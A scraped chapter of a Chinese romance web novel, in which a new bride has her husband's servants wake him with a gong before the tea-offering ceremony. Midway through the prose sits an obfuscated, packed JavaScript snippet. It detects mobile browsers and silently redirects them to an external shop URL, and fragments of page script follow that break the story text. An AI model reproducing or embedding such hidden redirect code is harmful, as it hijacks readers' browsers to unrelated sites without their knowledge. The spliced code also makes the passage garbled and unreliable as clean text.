文趣网 > 其他小说 > 良辰聘 > 3. 晨愠
    翌日,天光未亮,林观月便已起身,侍书和入画进来伺候她洗漱打扮。

    期间祁云羡在外间软榻上睡得很熟,除了微微蹙眉外,没有一点转醒的迹象。

    林观月暂时懒得搭理他。

    “小姐,今日敬茶,要穿哪件?”侍书压低声音问道。

    林观月扫了一眼入画手中捧着的衣裳,选了一件藕荷色褙子,配月白交领长裙,素净却不失端庄。头上也只簪了一支白玉兰簪,耳畔坠了两粒珍珠,简约清雅。

    “小姐未免太素了些……”入画有些担忧。

    林观月对着镜子理了理鬓角,淡淡道:“初入王府,不宜过于张扬。”

    她顿了顿,又补了一句,“况且,就算我穿的素,也不会有人真以为我穷。”

    这话说的,让侍书和入画都捂嘴偷笑起来。

    可不是嘛,就昨天林观月那十里红妆,谁会小看她?怕是有些眼皮子浅的,还惦记着她的嫁妆呢。

    所以,既然都知道她有钱,那她就不能太张扬,万一惹人眼红,岂不是自找麻烦。更何况,低调大方些,便于她先蛰伏观察王府情况。

    “去将二公子唤醒吧。”

    换完衣服,林观月坐到梳妆台前,让侍书给她梳头,同时对身后的入画吩咐道。

    “对了,”林观月又补充,“让他的小厮进来叫,你别去。”

    入画躬身道:“是,小姐。”

    门口

    长喜和元宝一早就候在门外,如今有了女主人,他们不敢冒昧进去,却也怕二公子有事找他们,只得一大早便候在门外。

    入画打开门,就看到门口两个小厮装扮人,出声询问:“二位可是二公子的小厮?”

    长喜连忙上前躬身道:“是,这位姐姐,可是二公子有何吩咐?”

    入画微微欠身还了一礼,随后侧身让开,“二公子还在熟睡,夫人让你们进去把二公子叫醒,不要误了时辰。”

    “是。”

    长喜和元宝不敢多言,快速推搡着进门。

    虽说二人心底疑惑,怎的二夫人不叫二公子,要让他们来叫,但面上却也不敢多问。

    思绪纷飞间,二人已至外间。看到在卧榻上睡得香的二公子,二人这下什么都懂了——看来昨晚二公子和这位新夫人是没有圆房,还被新夫人赶到了这外间卧榻上。

    长喜和元宝对视一眼,皆看到对方眼中的惊讶,但二人都不是没眼力见的,当下只做不知,走至卧榻旁。

    长喜上前两步,屈下双膝跪至榻前,抬起双手,轻轻搭在祁云羡胳膊上,晃动两下,低着嗓子叫:“二公子,二公子,该起了,今日还要敬茶,您再不起就晚了。”

    祁云羡毫无动静,侧过身子,将头转向里侧,还吧唧两下嘴,显然睡得香。

    长喜为难地看向一旁侯着的入画,讨好的笑了笑道:“这位姐姐,您看这……?”

    入画回以微笑,语气里却满是拒绝之意:“二公子以往都是你们伺候,婢子哪里敢僭越……不如小哥试试大声点?刚刚那声音,连我都差没听见呢。”

    长喜表情为难,眼神不停地瞟向里间,入画表情不变,却也没有改变主意的意思,显然这就是林观月的意思。

    长喜于是退了下去,把元宝推了上去,“你去,你去。”

    “诶呦!”

    元宝被推得一踉跄,他回头,对上长喜催促的眼神,垂下眼睑,再次转头时,一脸为难的看向入画,在入画的微笑下,又为难地走向榻前。

    元宝小心翼翼地将手搭在祁云羡胳膊上,看上去好似十分害怕祁云羡醒来发脾气,叫人的声音甚至比长喜还要小:“二公子,二公子?该起了。”

    祁云羡毫无反应,元宝便退开几步,低着头,为难地对入画说:“这位姐姐,您就别为难我了。”

    入画微微蹙眉,刚想开口说“我为难你什么了”,里面便传来动静——

    “入画。”

    林观月的声音从里面传来,随后,帘子被撩起来,林观月从帘子后走了出来。元宝连头都没敢抬,余光里瞧见一片衣角,便连忙跪了下来,“小的给二夫人请安。”

    长喜慢了一步,但他看见了林观月的长相,随后听到元宝的声音,也连忙跟着跪了下来,“小的给二夫人请安。”

    “起来吧。”

    二人小心翼翼起身,垂着头躬身站好,等待着新夫人的吩咐。

    林观月眼神在两人身上转了一圈,开口询问:“你们两个,看起来好似很害怕叫二公子起床这件事?”

    长喜与元宝悄悄转头对视一眼,长喜率先抬头,拱手讪笑道:“二夫人,并非是我等不愿听您吩咐,实在是您有所不知啊!”

    林观月饶有兴趣的看着两人,“哦?既然我‘有所不知’,那不如你们说来听听?”

    二人又对视一眼,林观月敏锐看到,长喜对元宝使了个眼色,紧接着,元宝便犹犹豫豫的抬手冲她施礼。

    “二夫人有所不知,我家公子脾气大,尤其是还有晨愠,若是没有睡够便被叫醒,公子是要发脾气的!”

    林观月状如顿悟,轻轻点头道:“是吗?二公子脾气这么大啊?”

    “可不是吗?公子他……诶呦!”元宝附和的话还没说完,就被长喜踢了一脚。

    长喜挤上前对林观月躬身道:“二夫人不要误会,我家公子只是性情了些,平时待人还是很谦和的。”

    他一脸尴尬,明显说的话违心,好似怕她因为这个嫌弃祁云羡一般。

    “是吗。”

    林观月轻笑一声,缓步走向卧榻边,微微俯下身子打量塌上的人——祁云羡还睡着,半张脸埋在被褥里,呼吸均匀,几缕碎发垂落在额前,倒是显出几分少年气。

    她轻轻勾了勾唇角。

    这么吵还能睡着,真是让人羡慕的睡眠质量啊。

    她直起身子,看向一旁“战战兢兢”的两人道:“可是我今天就想见识一下。”

    林观月微微偏头看向入画,入画立马凑上前来,林观月偏头同她耳语几句,入画便伏了伏身子转身出去了。

    长喜和元宝二人对视一眼,皆是一副摸不着头脑的模样,偷偷瞧了一眼林观月,但林观月却并没有跟他们解释是意思,转身带着侍书走向外间坐下。

    不一会儿,入画便回来了,手里还拿着一面铜锣。

    侍书跟她对视一眼,悄悄抿了抿唇,抬手给林观月添茶,长喜和元宝见此则是相互对视

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788257|210255||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一眼,四眼迷茫不解。

    最终还是长喜率先开口,他看着入画,讨好的问:“这位姐姐,不知这是……?”

    入画微微一笑,将手中是铜锣往前递了递,嘴里解释着:“夫人吩咐你们,用这个把二公子叫醒。”

    “这……”长喜一脸为难,“这位姐姐,您这不是为难我等吗?”

    入画笑容不变,“这位小哥,你的意思是,夫人为难你们?”

    “这,这这这自然不是,我等可不敢揣测夫人,只是……”长喜一脸慌乱解释。

    入画不为所动,将手中的铜锣又往前递了递,“那两位就别耽误了,再耽误下去,怕是要误了时辰了,到时候……怕是两位担待不起啊。”

    此话一出,两人是再没理由拒绝了,若是再推脱下去,敬茶迟了,那便是他们两个的过失了。

    元宝看了看长喜,抬手接过了铜锣。

    “麻烦这位姐姐了。”

    “不麻烦。”入画双手交叠于腹部,后退几步让开位置,候在一旁,显然没有插手的意思。

    元宝便将求助的目光投向了长喜,还把手里的铜锣送了送,“长喜哥,您看这……”

    长喜又抬眼看了眼入画,得到对方一个完美的笑脸。他收回视线,转眼看见举着铜锣的元宝,毫不客气地将他推到榻前。

    “你去。”

    元宝震惊的转头,待看清长喜眼中威胁是神色后,又讪讪地转过来。他看着塌上睡得熟的祁云羡,心一狠眼睛一闭,抬手便用力地敲了下去,发出响亮的一声。

    “怎么了!怎么了!着火了吗?!”祁云羡瞬间坐起身子,瞪大双眼惊恐的看着周围。

    “公,公子……”元宝尴尬地看着他,手上还拿着作案工具。

    祁云羡眨了眨眼睛,环视一圈,最后落在元宝手里,等反应过来怎么回事后,长长叹了一口气,随后拿起枕头朝他扔了过去。

    “你有病吧?!大早上不睡觉干什么呢?!”

    祁云羡抬手拍了拍胸口,一脸被气到了的模样。

    元宝连忙接住枕头,随后委屈地看着祁云羡,眼神瞟了一眼入画,小声道:“是夫人让我这么叫你的……”

    祁云羡蹙起眉头,一脸嫌弃,“你嘟嘟囔囔什么呢?大声点!”

    元宝看了一眼入画,随后眼一闭提高声音道:“是夫人让我这么叫你的!”

    “夫人?谁啊?哪来的……”祁云羡一时没反应过来他说的谁,随即看到屋内还没撤去的红绸才突然想起来,自己昨天成婚了,那这夫人自然就是……

    祁云羡开始四处环视起来,没看到林观月的身影,只看到了个小丫鬟。

    “你们小姐呢?”祁云羡看向入画问道。

    入画还没回答,林观月的声音变从外间传来,“二公子,既然醒了,就抓紧时间收拾一下吧,等会还要敬茶,若是迟了,怕是要耽误不少时间。”

    祁云羡听到林观月的声音,探头朝外间看去,可什么都没看到,于是便放弃。

    他起身下床,对一旁的长喜道:“我要更衣。”

    “是,公子。”

    外间的林观月,她一边吃着茶,一边听着里面传来的动静,嘴角轻轻扬起。